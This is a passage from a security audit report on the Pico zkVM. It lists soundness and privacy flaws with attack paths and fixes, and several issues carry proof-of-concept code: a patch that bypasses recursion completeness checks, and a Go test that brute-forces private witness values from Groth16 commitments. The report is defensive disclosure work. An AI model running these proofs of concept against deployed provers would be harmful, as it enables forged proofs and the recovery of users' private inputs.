The comments under the gadget used to enforce field prime range check for a word when field type is Mersenne31 are correct; They describe the correct methodology for checking that the word is indeed lower than Mersenne31 prime modulus. Unfortunately, the line which enforces the constraint on the column `cols.upper_all_one` is commented, leaving the whole gadget unconstrained:

field_range_check/word_range.rs#L121-L138:

```
FieldType::TypeMersenne31 => {
    // Mersenne31 Modulus in big endian format
    // 01111111 11111111 11111111 11111111
    // 2^31 - 1


    // All the four bytes are all within a certain range:
    // 00000000 <= bytes[3] <= 01111111
    // 00000000 <= bytes[2] <= 11111111
    // 00000000 <= bytes[1] <= 11111111
    // 00000000 <= bytes[0] <= 11111111
    // which means 00000000 <= sum(bytes) <= 127 + 255 * 3,
    // which means word == 2^31 - 1 <=> sum(bytes) == 127 + 255 * 3.
    // Therefore, we use the IsZeroGadget to guarantee that sum(bytes) != 127 + 255
    ↪  * 3.
    let mut byte_sum = value[0] + value[1] + value[2] + value[3];
    byte_sum -= AB::F::from_canonical_u32(127u32 + 255 * 3).into();
    //@audit-ok commented line constrains `upper_all_one`
    // IsZeroGadget::<F>::eval(builder, byte_sum, cols.upper_all_one,
    ↪  is_real.clone());
    builder.when(is_real).assert_zero(cols.upper_all_one.result)
}
```

As a result the gadget can return true for the word `01111111 11111111 11111111 11111111` which is not valid (equal to the prime modulus).

Recommendation

Consider simply uncommenting the constraint line:

```
    FieldType::TypeMersenne31 => {
        // Mersenne31 Modulus in big endian format
        // 01111111 11111111 11111111 11111111
        // 2^31 - 1


        // All the four bytes are all within a certain range:
        // 00000000 <= bytes[3] <= 01111111
        // 00000000 <= bytes[2] <= 11111111
        // 00000000 <= bytes[1] <= 11111111
        // 00000000 <= bytes[0] <= 11111111
        // which means 00000000 <= sum(bytes) <= 127 + 255 * 3,
        // which means word == 2^31 - 1 <=> sum(bytes) == 127 + 255 * 3.
        // Therefore, we use the IsZeroGadget to guarantee that sum(bytes) != 127 +
        ↪  255 * 3.
        let mut byte_sum = value[0] + value[1] + value[2] + value[3];
        byte_sum -= AB::F::from_canonical_u32(127u32 + 255 * 3).into();
-       // IsZeroGadget::<F>::eval(builder, byte_sum, cols.upper_all_one,
 ↪  is_real.clone());
+       IsZeroGadget::<F>::eval(builder, byte_sum, cols.upper_all_one,
 ↪  is_real.clone());
        builder.when(is_real).assert_zero(cols.upper_all_one.result)
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Issue H-3: Missing modulus bound check in reduction

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/124

Found by

0xzey, Consigliere, cergyk, kimnoic

Summary

The function reduceWithMaxBits does not enforce that the remainder is less than the modulus. This allows an attacker to use a remainder that is >= modulus, which breaks the field arithmetic

Root Cause

The code that checks the remainder against the modulus is commented out. The current code only checks the bit lengths of the limbs but does not check the actual value of the remainder against the modulus.

Internal Pre-conditions

The reduction function reduceWithMaxBits is called when a variable's upper bound is >= modulus. It uses a hint to compute the quotient and remainder, and then checks that x = quotient * modulus + remainder. However, it does not check that remainder < modulus.

External Pre-conditions

The attacker can provide a quotient and remainder that satisfy the equation but with remainder >= modulus.

Attack Path

An attacker can create a variable that is not reduced (i.e., >= modulus) and then use it in the circuit. The circuit would accept it as a valid field element because the reduction function does not enforce the bound

Impact

The field arithmetic would be broken because variables could be outside the field. This could lead to incorrect computations and vulnerabilities in the GNARK.

PoC

Uncomment this liine to implement modulus bound checks on reduction: https://github.com/sherlock-audit/2025-08-pico/blob/main/pico/gnark/koalabear/koalabear.go#L410

Mitigation

Uncomment the modulus bound check for the reduceWithMaxBits function.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/brevis-network/pico/pull/61

Issue H-4: `global_cumulative_sum` is not enforced to be zero when combine is complete

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/133

Found by

cergyk

Description

`global_cumulative_sum` is the sum of points for global sends and receives. It needs to be checked to be zero accross all shards, when shards are combined (i.e in the combine recursion circuit).

Unfortunately, although the global_cumulative_sum is computed and set in the public values, it is not checked to be zero when `flag_complete`:

combine/builder.rs#L484-L492:

```
// Deferred Proof Digest Completeness Verification
assert_deferred_digest_complete(builder, compress_public_values, flag_complete);
compress_public_values.digest =
    recursion_public_values_digest::<CC, SC>(builder, compress_public_values);


/*
Commit public values
    */
SC::commit_recursion_public_values(builder, *compress_public_values);
```

recursion/public_values.rs#L244-L264:

```
pub(crate) fn assert_deferred_digest_complete<C>(
    builder: &mut Builder<C>,
    public_values: &RecursionPublicValues<Felt<C::F>>,
    flag_complete: Felt<C::F>,
) where
    C: CircuitConfig,
{
    let zero: Felt<_> = builder.eval(C::F::ZERO);


    for start_digest in public_values.start_reconstruct_deferred_digest.into_iter()
     ↪  {
        builder.assert_felt_eq(flag_complete * start_digest, zero);
    }
    for (end_digest, expected_digest) in public_values
        .end_reconstruct_deferred_digest
        .into_iter()
        .zip_eq(public_values.deferred_proofs_digest.into_iter())
    {
        builder.assert_felt_eq(flag_complete * (end_digest - expected_digest),
        ↪  zero);
    }
}
```

Recommendation

Add a check when `flag_complete` is true for `global_cumulative_sum` to be zero:

```
+   builder.assert_digest_zero(flag_complete,
 ↪  *compress_public_values.global_cumulative_sum);
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Issue H-5: compress right after convert can bypass completeness checks

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/137

Found by

MissDida, cergyk

Description

In the recursion pipeline of pico, multiple recursion circuits are whitelisted, and the typical recursion pipeline goes like this:

1. riscv proof (leaf) -> A single precompile, memory, or execution chunk is proven
2. convert -> Leaf riscv proof is converted to a recursion-compatible proof (has recursion public values)
3. combine -> Multiple recursion proofs are combined together into one. Checks execution completeness (all shards are included).
4. compress -> Checks that the proof is complete and reduces the size of the proof
5. embed -> Adapts the proof field to be compatible with on-chain verifying

At each step of recursion, it is checked that the provided child proofs have vks included in merkle tree (below is the combine step):

vk_merkle/builder.rs#L67-L102:

```
    pub fn build(
        machine: &BaseMachine<SC, C>,
        input: &RecursionVkStdin<SC, C>,
    ) -> RecursionProgram<Val<SC>> {
        debug!("Build CombineVkVerifierCircuit Program");
        // Construct the builder.
        let mut builder = Builder::<CC>::new();
        let input = input.read(&mut builder);
        let RecursionVkStdinVariable {
            recursion_stdin_var,
            merkle_proof_var,
        } = input;


        let vk_root: [Felt<Val<SC>>; 8] = merkle_proof_var.merkle_root.map(|x|
         ↪  builder.eval(x));
        // Constraint that the vk_root of the merkle tree aligns with the vk_root
        ↪  of the recursion_stdin
        for (expected, actual) in
        ↪  vk_root.iter().zip(recursion_stdin_var.vk_root.iter()) {
            builder.assert_felt_eq(*expected, *actual);
        }

        // Constraint that ensures all the vk of the recursion program are included
        ↪  in the vk Merkle tree.
        //@audit-ok all of the child proofs vks are included in the merkle tree
>>      let vk_digests = recursion_stdin_var
            .vks
            .iter()
            .map(|vk| vk.hash_field(&mut builder))
            .collect::<Vec<_>>();


        MerkleProofVerifier::verify(&mut builder, vk_digests, merkle_proof_var);
        CombineVerifierCircuit::build_verifier(&mut builder, machine,
        ↪  recursion_stdin_var);
        let operations = builder.into_operations();


        // Compile the program.
        let mut compiler = DslIrCompiler::<CC>::default();
        compiler.compile(operations)
    }
}
```

Unfortunately, it seems that it has not been considered that a `convert` proof could also be verified directly by a `compress` proof. A single chunk can be provided (for example, a precompile chunk with only padding rows) with a flag_complete set to true, and would be verified as complete execution by the compress recursion circuit.

POC

Apply the following changes to the prover_chain and run test_proverchain:

`git apply POC.patch` `RUST_LOG=INFO FRI_QUERIES=1 VK_VERIFICATION=false cargo run --package pico-vm --example test_proverchain -- --elf=fib --n=3`

POC.patch:

```
diff --git a/vm/examples/test_proverchain.rs b/vm/examples/test_proverchain.rs
index 2dcc21f..0f263de 100644
--- a/vm/examples/test_proverchain.rs
+++ b/vm/examples/test_proverchain.rs
@@ -39,8 +39,8 @@ fn main() {
     info!("Proving RECURSION..");
     let proof = convert.prove(proof);
     assert!(convert.verify(&proof, riscv_vk));
-    let proof = combine.prove(proof);
-    assert!(combine.verify(&proof, riscv_vk));
+    // let proof = combine.prove(proof);
+    // assert!(combine.verify(&proof, riscv_vk));
     let proof = compress.prove(proof);
     assert!(compress.verify(&proof, riscv_vk));
     let proof = embed.prove(proof);
diff --git a/vm/src/emulator/stdin.rs b/vm/src/emulator/stdin.rs
index 3bce848..cfca957 100644
--- a/vm/src/emulator/stdin.rs
+++ b/vm/src/emulator/stdin.rs
@@ -217,13 +217,14 @@ where
         riscv_vk.observed_by(&mut reconstruct_challenger);

         // construct programs and inputs
-        let total = proofs.len();
+        // let total = proofs.len();

         let pairs: Vec<_> = proofs
             .par_iter()
             .enumerate()
             .map(|(i, proof)| {
-                let flag_complete = i == total - 1;
+                //@audit-ok set flag_complete always true
+                let flag_complete = true;
                 let flag_first_chunk = i == 0;

                 let input = ConvertStdin {
@@ -249,6 +250,8 @@ where

                 (program, input)
             })
+            //@audit-ok have only one proof for compress down the line
+            .take(1)
             .collect();

         let (programs, inputs): (Vec<_>, Vec<_>) = pairs.into_iter().unzip();
```

Recommendation

It seems that the simpler way to fix this is to either check the completeness conditions on a `convert proof` (`exit_code == 0` and `end_pc == 0` and `contains_cpu`), or more radically, to not allow setting `flag_complete == true` in `convert`

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Issue H-6: Quotient domain is completely controlled by prover

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/199

Found by

1AutumnLeaf777

Summary

The prover is allowed to choose the size of the quotient domains instead of having them be taken from the trace size of each chip

Root Cause

We can see the `quotient_degree` variable https://github.com/sherlock-audit/2025-08-pico/blob/main/pico/vm/src/machine/verifier.rs#L72 is controlled entirely by the prover as opposed to the trace size like in SP1: https://github.com/succinctlabs/sp1/blob/28ee277e048e49ebdc608f63a1f6b77240e0668f/crates/stark/src/verifier.rs#L32-L59 This lets the prover set the quotient domain to be arbitrarily sized, which breaks the underlying soundness of the FRI PCS.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. Prover sets the log_quotient_degrees to 0
2. Prover modifies the evaluations of the polynomial, which are easily computable as they are on a much smaller domain, which allows him to easily bypass the colinearity check

Impact

Invalid statements can be accepted by the verifier violating soundness

PoC

No response

Mitigation

Ensure that the quotient degrees are taken from the length of the chips and not supplied as a prover trusted input

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Issue H-7: Chip ordering is used to fetch all chips instead of preprocessed ones

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/204

Found by

1AutumnLeaf777

Summary

The prover provided `chip_ordering` allows for a prover to only provide chips that they would like opened rather than the opening values for every chip.

Root Cause

We can see that the chips that will be used in the `verify_shard` function are created here: https://github.com/sherlock-audit/2025-08-pico/blob/main/pico/vm/src/machine/verifier.rs#L77 This is entirely prover controlled and thus similar to the previous issue #4 we can see that the prover can selectively provide openings for some chips and not for the entire execution.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. Attacker specifies the chip ordering to be only for one specific chip
2. They manipulate the opened values and traces accordingly like in issue #4

Impact

Invalid proofs of execution are accepted by the verifier

PoC

No response

Mitigation

Ensure that the chip ordering is used only to validate against preprocessed chips

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Issue H-8: `operand_to_check` is not constrained to be a valid word in `eval_ecall`

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/221

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

1AutumnLeaf777

Summary

The `FieldWordRangeChecker` assumes that the argument to check will be a valid word, however there is nothing constraining `operand_to_check` to abide by this inside `eval_ecall`. A malicious prover can thus provide invalid limbs as the witness to the range checker which allows a prover to violate the range check.

Root Cause

https://github.com/sherlock-audit/2025-08-pico/blob/main/pico/vm/src/chips/chips/riscv_cpu/ecall/constraints.rs#L103-L110 as we can see there are no constraints that the `operand_to_check` is a valid word, however this is a requirement for the `FieldWordRangeChecker`, as there are no constraints that the word passed in is actually valid. Every other chip that invokes the word range check also invokes the ALU via the lookup argument, which thus implicitly constrains the argument as the ALU range checks its operands. However no call is present for `operand_to_check`.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. The prover provides an invalid word for the `operand_to_check` as long as the top limb is an actual byte equal to `cols.most_sig_byte_decomp` and that the sum of each limb is equal to zero. This lets invalid words be passed in for any ecall invocation that isn't halt or commit.

Impact

Ecalls do not have to take in valid words, which can arbitrarily effect their behavior especially if host programs use ecall to call SP1 precompiles. This breaks soundness guarantees.

PoC

No response

Mitigation

Ensure that each of the limbs in `operand_to_check` is a valid `u8`

Issue H-9: Polynomial evaluations are never observed by recursive verifier

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/226

Found by

1AutumnLeaf777

Summary

Incorrect fiat-shamir observations in the recursive verifier allow a malicious prover to forge a proof

Root Cause

https://github.com/sherlock-audit/2025-08-pico/blob/main/pico/vm/src/compiler/recursion/circuit/fri.rs#L84-L87 We can see we immediately observe the extension field element from the challenger without observing each of the round constants like in SP1: https://github.com/succinctlabs/sp1/blob/28ee277e048e49ebdc608f63a1f6b77240e0668f/crates/recursion/circuit/src/fri.rs#L82-L94 This incorrect fiat shamir ordering allows a malicious prover to forge proofs by spoofing openings during the batch check. https://github.com/succinctlabs/sp1/security/advisories/GHSA-c873-wfhp-wx5m

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. Prover can forge malicious proofs in the recursive verifier by manipulating opening arguments to cancel out (this is extremely technical and I do not pretend to understand the exact mathematics involved but based on the above linked GHSA I am sure it is possible)

Impact

Soundness of the recursive verifier is completely bypassed

PoC

No response

Mitigation

Observe each of the evaluations into the challenger

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Issue H-10: ro[config.log_blowup] is not checked to be zero in recursive verifier

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/228

Found by

1AutumnLeaf777

Summary

The recursive verifier is missing a check that asserts the validity of the reduced openings

Root Cause

https://github.com/succinctlabs/sp1/blob/28ee277e048e49ebdc608f63a1f6b77240e0668f/crates/recursion/circuit/src/fri.rs#L219 as we can see there is a final check that ro[config.log_blowup] is equal to zero in the extension field however this check is missed here: https://github.com/sherlock-audit/2025-08-pico/blob/main/pico/vm/src/compiler/recursion/circuit/fri.rs#L212-L231 This allows a malicious prover to construct domains of size 1 and provide reduced openings on that domain, which allow them to bypass FRI verification

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

The prover can set the values of each domain to have size 1 meaning that queries on them yield the same point, which allows him to bypass the query verification logic

Impact

The recursive verifier does not have soundness guarantees especially with respect to the simulation of the PCS

PoC

No response

Mitigation

Add the check that the ro[config.log_blowup] is 0 to ensure domains of size 1 cannot be created

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Issue M-1: Missing `offset` check will cause integer overflow violating ELF specification

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/75

Found by

poetyellow

Summary

There is an integer overflow in offset calculation in `Elf::new()` function.

```
for j in 0..len {
    let offset = (offset + i + j) as usize;  // integer overflow
    let byte = source_code
        .get(offset)
        .ok_or_else(|| eyre::eyre!("failed to read segment offset"))?;
    word |= u32::from(*byte) << (j * 8);
}
```

https://github.com/brevis-network/pico/blob/3046e89b1c7bf065b7932d859a06a24920d57531/vm/src/compiler/riscv/disassembler/elf.rs#L133

Root Cause

there is an unchecked integer addition `let offset = (offset + i + j) as usize` where the sum of three u32 values can overflow before being cast to usize, leading to a wrapped-around smaller offset value ,and this small value will not cause panic or return error,but it will violate ELF specification.

Internal Pre-conditions

1. ELF file needs to pass basic validity checks (32-bit, RISC-V architecture, executable type)
2. Attacker needs to craft segment with p_offset to be close to u32::MAX (4GB-1)
3. Segment needs to have mem_size > 0 to enter the processing loop
4. The sum (p_offset + i + j) needs to exceed u32::MAX to trigger overflow

External Pre-conditions

No special external conditions required

Attack Path

1. Attacker crafts malicious ELF file with PT_LOAD segment
2. Sets segment p_offset to a large value (e.g., u32::MAX - 1000)
3. Sets segment mem_size to a value that causes loop iteration where i + j > 1000
4. Attacker submits malicious ELF file to Prover node for processing
5. Code enters segment processing loop at line 113
6. When loop reaches large i values, the calculation `offset + i + j` at line 133 overflows
7. The overflowed result wraps around to a small value after casting to usize
8. Line 135 attempts to access source_code at the wrapped-around offset
9. This causes either out-of-bounds access (panic) or reading from wrong memory location

Impact

`Elf::new()` should succeed if and only if the binary is a well formed Risc-V ELF. Violating this specification can have unexpected behavior for downstream users.

PoC

No response

Mitigation

Use checked arithmetic:

```
let offset = offset.checked_add(i)
    .and_then(|sum| sum.checked_add(j))
    .ok_or_else(|| eyre::eyre!("offset calculation overflow"))?
    as usize;
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Issue M-2: wrong sign handling when x == 0 produces non-canonical / out-of-range x = p

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/78

Found by

0xpetern

Summary

During Ed25519 decompression, the implementation flips the recovered x-coordinate with:

```
if sign { x = modulus - x; }
```

If x == 0 and the compressed sign bit is 1, this sets x = p (not reduced), violating both (a) the canonical field range 0 ≤ x < p and (b) the Ed25519 spec rule that the sign bit MUST be 0 when x = 0. The routine may therefore accept non-canonical encodings and yield an out-of-range coordinate. Beyond the x==0 case, the unconditional flip can also select the wrong square root when the returned root already matches the requested parity.

Root Cause

The code unconditionally applies x ← p − x when sign == 1, without guarding x == 0 or enforcing canonical reduction. This can set x = p (out of range) and accepts an encoding that the spec forbids.

https://github.com/sherlock-audit/2025-08-pico/blob/main/pico/vm/src/chips/gadgets/curves/edwards/ed25519.rs#L124 https://github.com/sherlock-audit/2025-08-pico/blob/main/pico/vm/src/chips/gadgets/curves/edwards/ed25519.rs#L144

In Ed25519 compression, you store: y as 255 little-endian bits, and the top bit of the last byte as the sign of x (specifically, the LSB parity of x). When x == 0, the sign bit MUST be 0. (RFC 8032 / edwards25519 rule)

If x == 0 and sign == 1, this sets x = modulus (since it's not reduced), which is out of range (x must be < p) and violates the spec that the sign bit must be 0 for x=0.

Even beyond x == 0: the flip rule itself is off

There are two square roots: x and −x.

The spec requires you to choose the one whose parity (LSB in little-endian) matches the sign bit.

The code flips unconditionally when sign==1. That's only correct if your sqrt routine always returns the root with parity 0. If the routine already returned a root with parity matching the sign, flipping will pick the wrong root.

Internal Pre-conditions

1. Decompression computed a root x with x == 0 (this happens for valid points like the identity (x=0, y=1) or other cases where the sqrt ratio yields zero).
2. Code performs if sign { x = modulus - x; } without a guard for x == 0 and without a % p canonical reduction.

External Pre-conditions

1. An attacker (or malformed input) supplies a compressed point with sign bit = 1 that decompresses to x == 0 (e.g., identity encoded with sign=1, or another input yielding x=0).
2. Downstream code accepts the decompressed point as valid (i.e., there's no independent canonicality check that rejects x=p or x==0 && sign==1).

Attack Path

1. Adversary crafts compressed bytes with sign=1 that lead the decompressor to compute x = 0.
2. The routine executes x ← p − x □ x = p (out of range).
3. The decompressor returns this point as valid: Canonicality breach / malleability: multiple encodings represent the same point. Range breach: x is not < p. If later code assumes canonical limbs or compares serialized encodings, behavior diverges (logic bugs, equality bypass).
4. If other modules treat the returned x as canonical or rely on byte-level equality (rather than mod-p equivalence), this can cause constraint gaps or protocol malleability.

Impact

1. Enables malleability and can break equality checks or downstream constraints that assume x < p.

PoC

No response

Mitigation

Enforce the x == 0 rule:

If x.is_zero() and sign == 1 ▯ reject (return error/None).

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Issue M-3: Inconsistent Multiplicity Increment in `read_ghost_addr`

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/108

Found by

0xgh0st

Summary

A logic bug exists in the `read_ghost_addr` method in compiler where it incorrectly increments the multiplicity counter for ghost reads. This violates the ghost read semantics and could lead to incorrect circuit constraint verification in zero-knowledge proof systems.

Root Cause

The `read_ghost_addr` method calls `read_addr_internal` with `increment_mult: true`, which increments the multiplicity counter. This is inconsistent with other ghost read methods:

- `read_ghost_vaddr` correctly uses `increment_mult: false`
- `read_ghost_const` initializes multiplicity to zero without incrementing

Ghost reads are intended for non-computational operations that should not affect memory access counts used in circuit constraints.

```
pub fn read_ghost_addr(&mut self, addr: Address<FC::F>) -> &mut FC::F {
    self.read_addr_internal(addr, true)
}

fn read_addr_internal(&mut self, addr: Address<FC::F>, increment_mult: bool) ->
↪  &mut FC::F {
    use vec_map::Entry;
    match self.addr_to_mult.entry(addr.as_usize()) {
        Entry::Vacant(_) => panic!("expected entry: addr_to_mult[{:?}]",
        ↪  addr.as_usize()),
        Entry::Occupied(entry) => {
            // This is a read, so we increment the mult.
            let mult = entry.into_mut();
            if increment_mult {
                *mult += FC::F::ONE;
            }
            mult
        }
    }
}
```

Internal Pre-conditions

NA

External Pre-conditions

1. Code must use raw `Address<FC::F>` objects in ghost operations rather than higher-level types like `Felt<FC::F>` or `Ext<FC::F, FC::EF>`

Attack Path

1. **Trigger Condition:** Use an `Address<FC::F>` object directly in a ghost operation (e.g., `print_f(address)`)
2. **Bug Activation:** The `read_ghost` method calls `read_ghost_addr` which incorrectly increments multiplicity
3. **Propagation:** Incorrect multiplicity values get backfilled into circuit instructions during compilation

Impact

Circuit constraint verification may fail due to inconsistent memory access counts

PoC

No response

Mitigation

Change line 390 in `read_ghost_addr` from:

```
self.read_addr_internal(addr, true)
```

to:

```
self.read_addr_internal(addr, false)
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Issue M-4: Malicious verifier will recover private witness values breaking zero-knowledge property

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/128

Found by

duha

Summary

The use of `RangeChecker.Check()` in the BabyBear chip, KoalaBear chip, and verifier circuits will cause a zero-knowledge property violation for Groth16 proofs as a verifier will be able to recover private witness values by brute-forcing/guessing.

Root Cause

In `pico/gnark/babybear/babybear.go:367-371` (LoC) and many other lines, the circuits use `RangeChecker.Check()` when `GROTH16` environment variable is not set to 1:

```
if os.Getenv("GROTH16") != "1" {
    p.RangeChecker.Check(quotient, int(maxNbBits-30))
} else {
    p.api.ToBinary(quotient, int(maxNbBits-30))
}
```

The `gnark` library used in this repo is "github.com/celer-network/gnark v0.1.0 h1:717CxKghLj02v2tAdE6hCuKUouGgzDfZv/W1D4e/sFA=", which contains CVE-2024-45040. In short, in this lib, the Groth16 proving system implements the Pedersen commitments without blinding factors (which helps Pedersen commitment achieves **perfect hiding**). As a result, two same values will output same commitments. While commitments can be used directly in gnark (via `api.Compiler.Commit()`), the most common way a gnark circuit might use commitments is via `RangeChecker.Check()`, which uses commitments internally. The final commitment will be included in groth16 proof, serving as an oracle to guess the private witness.

Internal Pre-conditions

1. The `GROTH16` environment variable needs to be not set or set to any value other than 1 (which is the default case in production as seen in `server/main/main.go`).
2. The circuit needs to use BabyBear or KoalaBear field elements with range checking enabled. It is the case with the verifier circuit.

3. Private witness values need to have limited entropy (e.g., small values, boolean flags, or values from a limited set).

External Pre-conditions

No external pre-conditions required

Attack Path

1. Attacker obtains a valid Groth16 proof from the system.
2. Attacker reads the circuit, finds the private witness they want to recover and extracts the corresponding commitment value from the proof.
3. Attacker iterates through possible values for the private witness.
4. For each guess, attacker generates a proof (or just the commitment part) using the same circuit and proving key.
5. Attacker compares the commitment from their guess with the original proof's commitment.
6. When commitments match, the attacker has successfully recovered the private witness value.

Impact

The gnark verifier circuits process the final `EMBED` proof from Pico's proving pipeline and convert them into Groth16 proofs for on-chain verification. When the zero-knowledge property is violated through commitment leakage, an attacker can extract:

1. Program execution traces
2. Memory access patterns
3. Intermediate state transitions: Internal register values, ALU operation results, and transient computation states that expose the program's algorithmic implementation details.
4. Other private inputs: Confidential inputs to the RISC-V program including cryptographic keys, user credentials, merkle leaves, or proprietary computation parameters that should remain hidden from verifiers.

In the Chips circuit, the function `reduceWithMaxBits` is invoked for nearly every variable and performs a range check. Consequently, an adversary could, in principle, recover all circuit inputs by exploiting this bug.

Unlike zkRollups that primarily optimize for succinctness and verifiability, Pico zkVM explicitly supports privacy-preserving applications (as stated in the documentation) through zero-knowledge guarantees. This vulnerability breaks these privacy guarantees by enabling deterministic recovery of witness commitments.

PoC

```go
package babybear

import (
    "crypto/rand"
    "math/big"
    "testing"
    "fmt"
    "github.com/consensys/gnark-crypto/ecc"
    "github.com/consensys/gnark/frontend"

    "github.com/consensys/gnark/backend/groth16"
    "github.com/consensys/gnark/frontend/cs/r1cs"
    groth16_bn254 "github.com/consensys/gnark/backend/groth16/bn254"
)


var upperBound = new(big.Int).SetUint64(1 << 32)
type SecretCircuit struct {
    A        frontend.Variable  // Private witness
    B        frontend.Variable  // Private witness
}
func (circuit *SecretCircuit) Define(api frontend.API) error {
    chip := NewChip(api)
    chip.AssertIsEqualF(
        Variable{Value: circuit.A, UpperBound: upperBound},
        Variable{Value: circuit.B, UpperBound: upperBound},
    )
    return nil
}

func TestRecoverPrivateInputs(t *testing.T) {
    // When GROTH16 is not set (default in server/main/main.go), the range check
    ↪ will be used, which triggers the bug.
    var circuit SecretCircuit
    ccs, _ := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, &circuit)

    // Groth16 setup, generating the proving key and verification key
    pk, vk, _ := groth16.Setup(ccs)
    var bound int64 = 1024 // ten bits of entropy for testing
    secret_a, _ := rand.Int(rand.Reader, big.NewInt(bound))
    secret_b := secret_a
    fmt.Printf("secret_a: %d, secret_b: %d\n", secret_a, secret_b)

    assignment := SecretCircuit{A: secret_a, B: secret_b}
    witness, _ := frontend.NewWitness(&assignment, ecc.BN254.ScalarField())
    publicInstances, _ := witness.Public()
    // Proving
    proof, _ := groth16.Prove(ccs, pk, witness)

    // Verifying
    err := groth16.Verify(proof, vk, publicInstances)
    if err != nil {
        t.Fatal("failed to verify proof")
    }

    // ATTACK
    // Converting proving key and proof to concrete types
    proofConcrete, _ := proof.(*groth16_bn254.Proof)
    println("\nSearching for secrets using the range check commitment")

    // Try to guess the secret
    for i := int64(0); i < bound; i++ {
        guess_a := big.NewInt(int64(i))
        guess_assignment := SecretCircuit{A: guess_a, B: guess_a}
        guess_witness, _ := frontend.NewWitness(&guess_assignment,
        ↪  ecc.BN254.ScalarField())
        // The fastest way to calculate the commitment.
        // In fact, we dont need to prove the whole circuit for getting the
        ↪  commitment.
        guess_proof, _ := groth16.Prove(ccs, pk, guess_witness)

        guess_proofConcrete, _ := guess_proof.(*groth16_bn254.Proof)
        if guess_proofConcrete.Commitments[0] == proofConcrete.Commitments[0] {
            fmt.Printf("\nFound secret using the range check commitment: a = %d, b
            ↪  = %d\n", guess_a, guess_a)
            t.Fail()
        }
    }
}
```

Output:

```
Running tool: /opt/homebrew/bin/go test -timeout 30s -run
↪  ^TestRecoverPrivateInputs$ github.com/brevis-network/pico/gnark/babybear

secret_a: 580, secret_b: 580

Searching for secrets using the range check commitment

Found secret using the range check commitment: a = 580, b = 580
--- FAIL: TestRecoverPrivateInputs (1.58s)
FAIL
FAIL    github.com/brevis-network/pico/gnark/babybear   2.387s
FAIL
```

Mitigation

Update the gnark library to at least version 0.11.0 .

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Issue M-5: First chunk having cpu chip is incorrectly checked in convert circuit

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/142

Found by

cergyk

Description

In the convert recursion circuit, there's a check preventing the first chunk from having no CPU chip:

convert/builder.rs#L220-L221:

```
if !flag_cpu {
    builder.assert_felt_ne(current_chunk, CC::F::ONE);
```

Unfortunately, the current_chunk is already incremented to be ”expected next chunk”, meaning that even if the currently converted proof has chunk number 1, the check always checks `2 != 1`, and thus is always true;

convert/builder.rs#L199-L213:

```
/*
Chunk number constraints and updates
    */
{
    // range check
    CC::range_check_felt(builder, public_values.chunk, MAX_LOG_NUMBER_OF_CHUNKS);


    // current chunk is incremented by 1
    //@audit current_chunk is incremented before the check equal to one
    current_chunk = builder.eval(current_chunk + CC::F::ONE);


    // If the chunk has a "CPU" chip, then the execution chunk should be
     ↪  incremented by 1.
    if flag_cpu {
        current_execution_chunk = builder.eval(current_execution_chunk +
         ↪  CC::F::ONE);
    }
}
```

Impact

Impact is not clear, since it allows for one chunk to be converted first without having a cpu. The resulting recursion proof can be used in `combine` circuit, but will not fulfill the completeness condition (`contains_execution_chunk`).

Recommendation

Either move the check before the increment or modify as follows:

convert/builder.rs#L220-L221:

```
    if !flag_cpu {
-         builder.assert_felt_ne(current_chunk, CC::F::ONE);
+         builder.assert_felt_ne(current_chunk - CC::F::ONE, CC::F::ONE);
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.